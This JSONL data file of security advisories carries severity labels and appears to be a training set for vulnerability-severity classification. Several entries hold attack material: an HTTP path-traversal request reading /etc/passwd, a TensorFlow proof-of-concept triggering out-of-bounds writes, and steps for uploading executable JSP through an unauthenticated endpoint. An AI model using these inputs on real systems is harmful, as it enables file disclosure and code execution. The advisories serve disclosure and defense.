-{"id": "e53dc949330fd84804da", "text": "F5 BIG-IP and BIG-IQ Centralized Management iControl REST Remote Code Execution Vulnerability\n\nAffected: F5 BIG-IP and BIG-IQ Centralized Management\n\nF5 BIG-IP and BIG-IQ Centralized Management contain a remote code execution vulnerability in the iControl REST interface that allows unauthenticated attackers with network access to execute system commands, create or delete files, and disable services.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-863\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "F5 BIG-IP and BIG-IQ Centralized Management iControl REST Remote Code Execution Vulnerability\n\nAffected: F5 BIG-IP and BIG-IQ Centralized Management\n\nF5 BIG-IP and BIG-IQ Centralized Management contain a remote code execution vulnerability in the iControl REST interface that allows unauthenticated attackers with network access to execute system commands, create or delete files, and disable services.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-863\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1c909dca26a4f6edc46c", "text": "Directory Traversal in zwserver\n\nAffected versions of `zwserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in zwserver\n\n[Severity: HIGH]\n\nAffected versions of `zwserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b5ae4fa9fa3148f5a13e", "text": "Ethereum Contains Consensus Flaw During Block Processing\n\n### Impact\n\nA vulnerability in the Geth EVM could cause a node to reject the canonical chain.\n\n### Description\n\nA memory-corruption bug within the EVM can cause a consensus error, where vulnerable nodes obtain a different `stateRoot` when processing a maliciously crafted transaction. This, in turn, would lead to the chain being split in two forks.\n\nAll Geth versions supporting the London hard fork are vulnerable (which predates London), so all users should update.\n\nThis bug was exploited on Mainnet at block 13107518, leading to a minority chain split.\n\n### Patches\n\nA patch is included in the `v1.10.8` release.\nThe exact patch to fix the issue is contained within this [commit](https://github.com/ethereum/go-ethereum/pull/23381/commits/4d4879cafd1b3c906fc184a8c4a357137465128f)\n\n### Workarounds\n\nNo workarounds exist, save to update and/or apply the patch commit.\n\n### References.\n\nPost-mortem [write-up](https://github.com/ethereum/go-ethereum/blob/master/docs/postmortems/2021-08-22-split-postmortem.md).\n\n### Credits\n\nThe bug was found by @guidovranken (working for [Sentnl](https://sentnl.io/) during an audit of the [Telos EVM](https://www.telos.net/evm)) and reported via bounty@ethereum.org.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum/)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "text_raw": "Ethereum Contains Consensus Flaw During Block Processing\n\n[Severity: MEDIUM]\n\n### Impact\n\nA vulnerability in the Geth EVM could cause a node to reject the canonical chain. \n\n### Description \n\nA memory-corruption bug within the EVM can cause a consensus error, where vulnerable nodes obtain a different `stateRoot` when processing a maliciously crafted transaction. This, in turn, would lead to the chain being split in two forks.\n\nAll Geth versions supporting the London hard fork are vulnerable (which predates London), so all users should update.\n\nThis bug was exploited on Mainnet at block 13107518, leading to a minority chain split. \n\n### Patches\n\nA patch is included in the `v1.10.8` release.\nThe exact patch to fix the issue is contained within this [commit](https://github.com/ethereum/go-ethereum/pull/23381/commits/4d4879cafd1b3c906fc184a8c4a357137465128f)\n\n### Workarounds\n\nNo workarounds exist, save to update and/or apply the patch commit. \n\n### References. \n\nPost-mortem [write-up](https://github.com/ethereum/go-ethereum/blob/master/docs/postmortems/2021-08-22-split-postmortem.md).\n\n### Credits\n\nThe bug was found by @guidovranken (working for [Sentnl](https://sentnl.io/) during an audit of the [Telos EVM](https://www.telos.net/evm)) and reported via bounty@ethereum.org.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum/)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "e5671ec4a14b636b8811", "text": "Cross-site scripting (XSS) vulnerability in the strip_tags function in Ruby on Rails before 2.2.s, and 2.3.x before 2.3.5, allows remote attackers to inject arbitrary web script or HTML via vectors involving non-printing ASCII characters, related to HTML::Tokenizer and actionpack/lib/action_controller/vendor/html-scanner/html/node.rb.", "text_raw": "Moderate severity vulnerability that affects rails\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the strip_tags function in Ruby on Rails before 2.2.s, and 2.3.x before 2.3.5, allows remote attackers to inject arbitrary web script or HTML via vectors involving non-printing ASCII characters, related to HTML::Tokenizer and actionpack/lib/action_controller/vendor/html-scanner/html/node.rb.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "05ffdec67b8314451f56", "text": "omniauth-oauth2 Cross-Site Request Forgery vulnerability\n\nCross-site request forgery (CSRF) vulnerability in the omniauth-oauth2 gem prior to 1.1.1 for Ruby allows remote attackers to hijack the authentication of users for requests that modify session state.", "text_raw": "omniauth-oauth2 Cross-Site Request Forgery vulnerability\n\n[Severity: MEDIUM]\n\nCross-site request forgery (CSRF) vulnerability in the omniauth-oauth2 gem prior to 1.1.1 for Ruby allows remote attackers to hijack the authentication of users for requests that modify session state.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "78de49894e60837754ca", "text": "ActiveSupport potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore\n\nIn ActiveSupport, there is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when\nuntrusted user input is written to the cache store using the `raw: true` parameter, re-reading the result\nfrom the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:\n\n```\ndata = cache.fetch(\"demo\", raw: true) { untrusted_string }\n```\nVersions Affected:  rails < 5.2.5, rails < 6.0.4\nNot affected:       Applications not using MemCacheStore or RedisCacheStore. Applications that do not use the `raw` option when storing untrusted user input.\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n\nImpact\n------\nUnmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,\nthis vulnerability allows an attacker to inject untrusted Ruby objects into a web application.\nIn addition to upgrading to the latest versions of Rails, developers should ensure that whenever\nthey are calling `Rails.cache.fetch` they are using consistent values of the `raw` parameter for both\nreading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,\ndetect if data was serialized using the raw option upon deserialization.\n\nWorkarounds\n-----------\nIt is recommended that application developers apply the suggested patch or upgrade to the latest release as\nsoon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using\nthe `raw` argument should be double-checked to ensure that they conform to the expected format.", "text_raw": "ActiveSupport potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore\n\n[Severity: CRITICAL]\n\nIn ActiveSupport, there is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when\nuntrusted user input is written to the cache store using the `raw: true` parameter, re-reading the result\nfrom the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:\n\n```\ndata = cache.fetch(\"demo\", raw: true) { untrusted_string }\n```\nVersions Affected:  rails < 5.2.5, rails < 6.0.4\nNot affected:       Applications not using MemCacheStore or RedisCacheStore. Applications that do not use the `raw` option when storing untrusted user input.\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n  \nImpact\n------\nUnmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,\nthis vulnerability allows an attacker to inject untrusted Ruby objects into a web application.\nIn addition to upgrading to the latest versions of Rails, developers should ensure that whenever\nthey are calling `Rails.cache.fetch` they are using consistent values of the `raw` parameter for both\nreading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,\ndetect if data was serialized using the raw option upon deserialization.\n\nWorkarounds\n-----------\nIt is recommended that application developers apply the suggested patch or upgrade to the latest release as\nsoon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using\nthe `raw` argument should be double-checked to ensure that they conform to the expected format.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-26", "split": "train"}
-{"id": "34b2005fb3099ef1fce4", "text": "Cross-Site Scripting in selectize-plugin-a11y\n\nVersions of `selectize-plugin-a11y ` prior to 1.1.0 are vulnerable to Cross-Site Scripting. The `accessibility.liveRegion.speak` function does not sanitize the `msg` variable before rendering it as HTML. If this variable is controlled by user input it allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.1.0 or later.", "text_raw": "Cross-Site Scripting in selectize-plugin-a11y\n\n[Severity: MEDIUM]\n\nVersions of `selectize-plugin-a11y ` prior to 1.1.0 are vulnerable to Cross-Site Scripting. The `accessibility.liveRegion.speak` function does not sanitize the `msg` variable before rendering it as HTML. If this variable is controlled by user input it allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.1.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "651e51d2ac2ab324af80", "text": "Flaw in streaming state in orion\n\nAffected versions of this crate did not properly reset a streaming state. Resetting a streaming state, without finalising it first, creates incorrect results. The flaw was corrected by not first checking if the state had already been reset, when calling reset().", "text_raw": "Flaw in streaming state in orion\n\n[Severity: HIGH]\n\nAffected versions of this crate did not properly reset a streaming state. Resetting a streaming state, without finalising it first, creates incorrect results. The flaw was corrected by not first checking if the state had already been reset, when calling reset().", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "fd9a44a7432b41895390", "text": "Incomplete validation in `SparseAdd`\n\n### Impact\nIncomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\na_indices = tf.zeros([10, 97], dtype=tf.int64)\na_values = tf.zeros([10], dtype=tf.int64)\na_shape = tf.zeros([0], dtype=tf.int64)\n\nb_indices = tf.zeros([0, 0], dtype=tf.int64)\nb_values = tf.zeros([0], dtype=tf.int64)\nb_shape = tf.zeros([0], dtype=tf.int64)\n\nthresh = 0\n\ntf.raw_ops.SparseAdd(a_indices=a_indices,\n                    a_values=a_values,\n                    a_shape=a_shape,\n                    b_indices=b_indices,\n                    b_values=b_values,\n                    b_shape=b_shape,\n                    thresh=thresh)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.\n\n### Patches\nWe have patched the issue in GitHub commit [6fd02f44810754ae7481838b6a67c5df7f909ca3](https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3) followed by GitHub commit  [41727ff06111117bdf86b37db198217fd7a143cc](https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Incomplete validation in `SparseAdd`\n\n[Severity: MEDIUM]\n\n### Impact\nIncomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\na_indices = tf.zeros([10, 97], dtype=tf.int64)\na_values = tf.zeros([10], dtype=tf.int64)\na_shape = tf.zeros([0], dtype=tf.int64)\n\nb_indices = tf.zeros([0, 0], dtype=tf.int64)\nb_values = tf.zeros([0], dtype=tf.int64)\nb_shape = tf.zeros([0], dtype=tf.int64)\n  \nthresh = 0\n\ntf.raw_ops.SparseAdd(a_indices=a_indices,\n                    a_values=a_values,\n                    a_shape=a_shape,\n                    b_indices=b_indices,\n                    b_values=b_values,\n                    b_shape=b_shape,\n                    thresh=thresh)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.\n\n### Patches\nWe have patched the issue in GitHub commit [6fd02f44810754ae7481838b6a67c5df7f909ca3](https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3) followed by GitHub commit  [41727ff06111117bdf86b37db198217fd7a143cc](https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "466d25bbc5da48e0103e", "text": "Unsafe deserialization in owlmixin\n\nAn exploitable vulnerability exists in the YAML loading functionality of util.py in OwlMixin before 2.0.0a12. A \"Load YAML\" string or file (aka load_yaml or load_yamlf) can execute arbitrary Python commands resulting in command execution because load is used where safe_load should have been used. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "text_raw": "Unsafe deserialization in owlmixin\n\n[Severity: CRITICAL]\n\nAn exploitable vulnerability exists in the YAML loading functionality of util.py in OwlMixin before 2.0.0a12. A \"Load YAML\" string or file (aka load_yaml or load_yamlf) can execute arbitrary Python commands resulting in command execution because load is used where safe_load should have been used. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "a2b9ff944f739c5eeaf5", "text": "http vulnerable to Exposure of Sensitive Information to an Unauthorized Actor\n\nThe Ruby http gem before 0.7.3 does not verify hostnames in SSL connections, which might allow remote attackers to obtain sensitive information via a man-in-the-middle-attack.", "text_raw": "http vulnerable to Exposure of Sensitive Information to an Unauthorized Actor\n\n[Severity: MEDIUM]\n\nThe Ruby http gem before 0.7.3 does not verify hostnames in SSL connections, which might allow remote attackers to obtain sensitive information via a man-in-the-middle-attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-13", "split": "train"}
-{"id": "d912f50e9e76d8067832", "text": "Balero CMS v0.7.2 Multiple Blind SQL Injection Vulnerabilities", "text_raw": "Balero CMS v0.7.2 Multiple Blind SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-04-07", "split": "train"}
-{"id": "57567bbba31654b93c11", "text": "Attack on Kubernetes via Misconfigured Argo Workflows\n\n### Impact\n\nUsers running using the Argo Server with `--auth-mode=server` (which is the default < v3.0.0) AND have exposed their UI to the Internet may allow remote users to execute arbitrary code on their cluster, e.g. crypto-mining.\n\n### Resolution\n\n* Do not expose your user interface to the Internet. \n* Change configuration. `--auth-mode=client`.\n\nFor users using an older 2.x version of Argo Server, consider upgrading to Argo Server version 3.x or later.", "text_raw": "Attack on Kubernetes via Misconfigured Argo Workflows\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsers running using the Argo Server with `--auth-mode=server` (which is the default < v3.0.0) AND have exposed their UI to the Internet may allow remote users to execute arbitrary code on their cluster, e.g. crypto-mining.\n\n### Resolution\n\n* Do not expose your user interface to the Internet. \n* Change configuration. `--auth-mode=client`. \n\nFor users using an older 2.x version of Argo Server, consider upgrading to Argo Server version 3.x or later.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "927c0b5ee2e8b36aeaf5", "text": "InfraPower PPS-02-S Q213V1 Insecure Direct Object Reference Authorization Bypass", "text_raw": "InfraPower PPS-02-S Q213V1 Insecure Direct Object Reference Authorization Bypass\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-10-28", "split": "train"}
-{"id": "8bc81c4e257121d1acb7", "text": "Directory Traversal in scott-blanch-weather-app\n\nAffected versions of `scott-blanch-weather-app` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in scott-blanch-weather-app\n\n[Severity: HIGH]\n\nAffected versions of `scott-blanch-weather-app` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "4468ce055464adf13654", "text": "Improper Authentication in Buildbot\n\nBuildbot before 1.8.2 and 2.x before 2.3.1 accepts a user-submitted authorization token from OAuth and uses it to authenticate a user. If an attacker has a token allowing them to read the user details of a victim, they can login as the victim.", "text_raw": "Improper Authentication in Buildbot\n\n[Severity: CRITICAL]\n\nBuildbot before 1.8.2 and 2.x before 2.3.1 accepts a user-submitted authorization token from OAuth and uses it to authenticate a user. If an attacker has a token allowing them to read the user details of a victim, they can login as the victim.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "c1fa5dc245e18aa81b51", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "6f4cda031f5b456032a8", "text": "Cross-site scripting in TileServer GL\n\nAn issue was discovered in server.js in TileServer GL through 3.0.0. The content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page, causing reflected XSS.", "text_raw": "Cross-site scripting in TileServer GL\n\n[Severity: MEDIUM]\n\nAn issue was discovered in server.js in TileServer GL through 3.0.0. The content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page, causing reflected XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "ee9c9d2bc33a9d0eafcd", "text": "Command injection in fs-path\n\nfs-path node module before 0.0.25 is vulnerable to command injection by way of user-supplied inputs via the `copy`, `copySync`, `remove`, and `removeSync` methods.", "text_raw": "Command injection in fs-path\n\n[Severity: CRITICAL]\n\nfs-path node module before 0.0.25 is vulnerable to command injection by way of user-supplied inputs via the `copy`, `copySync`, `remove`, and `removeSync` methods.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-25", "split": "train"}
-{"id": "324d275726c92e608a3e", "text": "Denial of Service in https-proxy-agent\n\nVersions of `https-proxy-agent` before 2.2.0 are vulnerable to denial of service. This is due to unsanitized options (proxy.auth) being passed to `Buffer()`.\n\n## Recommendation\n\nUpdate to version 2.2.0 or later.", "text_raw": "Denial of Service in https-proxy-agent\n\n[Severity: CRITICAL]\n\nVersions of `https-proxy-agent` before 2.2.0 are vulnerable to denial of service. This is due to unsanitized options (proxy.auth) being passed to `Buffer()`.\n\n\n## Recommendation\n\nUpdate to version 2.2.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "e50ab6cf09d79c452e8c", "text": "Potential DoS with NumberFilter conversion to integer values.\n\n### Impact\n\nAutomatically generated `NumberFilter` instances, whose value was later converted to an integer, were subject to potential DoS from maliciously input using exponential format with sufficiently large exponents.\n\n### Patches\n\nVersion 2.4.0+ applies a `MaxValueValidator` with a a default `limit_value` of 1e50 to the form field used by `NumberFilter` instances.\n\nIn addition, `NumberFilter` implements the new `get_max_validator()` which should return a configured validator instance to customise the limit, or else `None` to disable the additional validation.\n\n### Workarounds\n\nUsers may manually apply an equivalent validator if they are not able to upgrade.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the django-filter repo](https://github.com/carltongibson/django-filter)\n\nThanks to Marcin Waraksa for the report.", "text_raw": "Potential DoS with NumberFilter conversion to integer values.\n\n[Severity: HIGH]\n\n### Impact\n\nAutomatically generated `NumberFilter` instances, whose value was later converted to an integer, were subject to potential DoS from maliciously input using exponential format with sufficiently large exponents. \n\n### Patches\n\nVersion 2.4.0+ applies a `MaxValueValidator` with a a default `limit_value` of 1e50 to the form field used by `NumberFilter` instances. \n\nIn addition, `NumberFilter` implements the new `get_max_validator()` which should return a configured validator instance to customise the limit, or else `None` to disable the additional validation. \n\n### Workarounds\n\nUsers may manually apply an equivalent validator if they are not able to upgrade.  \n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the django-filter repo](https://github.com/carltongibson/django-filter)\n\nThanks to Marcin Waraksa for the report. \n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-28", "split": "train"}
-{"id": "8ac0e2becbc1213e9a60", "text": "Infinite Loop in scapy\n\nscapy is affected by a Denial of Service vulnerability resulting in an infinite loop and resource consumption rendering the program unresponsive. The component is: `_RADIUSAttrPacketListField.getfield(self..)`. The attack vector is over the network or in a pcap. both work.", "text_raw": "Infinite Loop in scapy\n\n[Severity: HIGH]\n\nscapy is affected by a Denial of Service vulnerability resulting in an infinite loop and resource consumption rendering the program unresponsive. The component is: `_RADIUSAttrPacketListField.getfield(self..)`. The attack vector is over the network or in a pcap. both work.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-22", "split": "train"}
-{"id": "df3ef5f26cf2ac9732a5", "text": "Data corruption in tensorflow-lite\n\n### Impact\nWhen determining the common dimension size of two tensors, TFLite uses a `DCHECK` which is no-op outside of debug compilation modes:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/types.h#L437-L442\n\nSince the function always returns the dimension of the first tensor, malicious attackers can craft cases where this is larger than that of the second tensor. In turn, this would result in reads/writes outside of bounds since the interpreter will wrongly assume that there is enough data in both tensors.\n\n### Patches\nWe have patched the issue in 8ee24e7949a20 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Data corruption in tensorflow-lite\n\n[Severity: HIGH]\n\n### Impact\nWhen determining the common dimension size of two tensors, TFLite uses a `DCHECK` which is no-op outside of debug compilation modes:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/types.h#L437-L442\n\nSince the function always returns the dimension of the first tensor, malicious attackers can craft cases where this is larger than that of the second tensor. In turn, this would result in reads/writes outside of bounds since the interpreter will wrongly assume that there is enough data in both tensors.\n\n### Patches\nWe have patched the issue in 8ee24e7949a20 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "e429ee05dd77b8305d56", "text": "Improper Input Validation and Missing Authentication for Critical Function in Apache ActiveMQ\n\nIt was found that the Apache ActiveMQ client before 5.14.5 exposed a remote shutdown command in the ActiveMQConnection class. An attacker logged into a compromised broker could use this flaw to achieve denial of service on a connected client.", "text_raw": "Improper Input Validation and Missing Authentication for Critical Function in Apache ActiveMQ\n\n[Severity: MEDIUM]\n\nIt was found that the Apache ActiveMQ client before 5.14.5 exposed a remote shutdown command in the ActiveMQConnection class. An attacker logged into a compromised broker could use this flaw to achieve denial of service on a connected client.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-01", "split": "train"}
-{"id": "51e2dfb0d81d6a08b78f", "text": "Prototype Pollution in sey\n\nAll versions of package `sey` are vulnerable to Prototype Pollution via the `deepmerge()` function.", "text_raw": "Prototype Pollution in sey\n\n[Severity: MEDIUM]\n\nAll versions of package `sey` are vulnerable to Prototype Pollution via the `deepmerge()` function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "66f463a8aac67ef02f43", "text": "SAP NetWeaver Directory Traversal Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms contains a directory traversal vulnerability via a ..\\ (dot dot backslash) in the fileName parameter to CrashFileDownloadServlet. This allows remote attackers to read files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SAP NetWeaver Directory Traversal Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms contains a directory traversal vulnerability via a ..\\ (dot dot backslash) in the fileName parameter to CrashFileDownloadServlet. This allows remote attackers to read files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9b13e176ae845bd6cc71", "text": "Unrestricted Upload of File with Dangerous Type in mingsoft:ms-mcms\n\nAn issue was discovered in com\\mingsoft\\basic\\action\\web\\FileAction.java in MCMS 4.6.5. Since the upload interface does not verify the user login status, you can use this interface to upload files without setting a cookie. First, start an upload of JSP code with a .png filename, and then intercept the data packet. In the name parameter, change the suffix to jsp. In the response, the server returns the storage path of the file, which can be accessed to execute arbitrary JSP code.", "text_raw": "Unrestricted Upload of File with Dangerous Type in mingsoft:ms-mcms\n\n[Severity: CRITICAL]\n\nAn issue was discovered in com\\mingsoft\\basic\\action\\web\\FileAction.java in MCMS 4.6.5. Since the upload interface does not verify the user login status, you can use this interface to upload files without setting a cookie. First, start an upload of JSP code with a .png filename, and then intercept the data packet. In the name parameter, change the suffix to jsp. In the response, the server returns the storage path of the file, which can be accessed to execute arbitrary JSP code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
-{"id": "372725a1c546a883102d", "text": "Remote Code Execution - JavaEL Injection (low privileged accounts) in Nexus Repository Manager\n\nSonatype Nexus Repository before 3.21.2 allows Remote Code Execution.", "text_raw": "Remote Code Execution - JavaEL Injection (low privileged accounts) in Nexus Repository Manager\n\n[Severity: HIGH]\n\nSonatype Nexus Repository before 3.21.2 allows Remote Code Execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-14", "split": "train"}
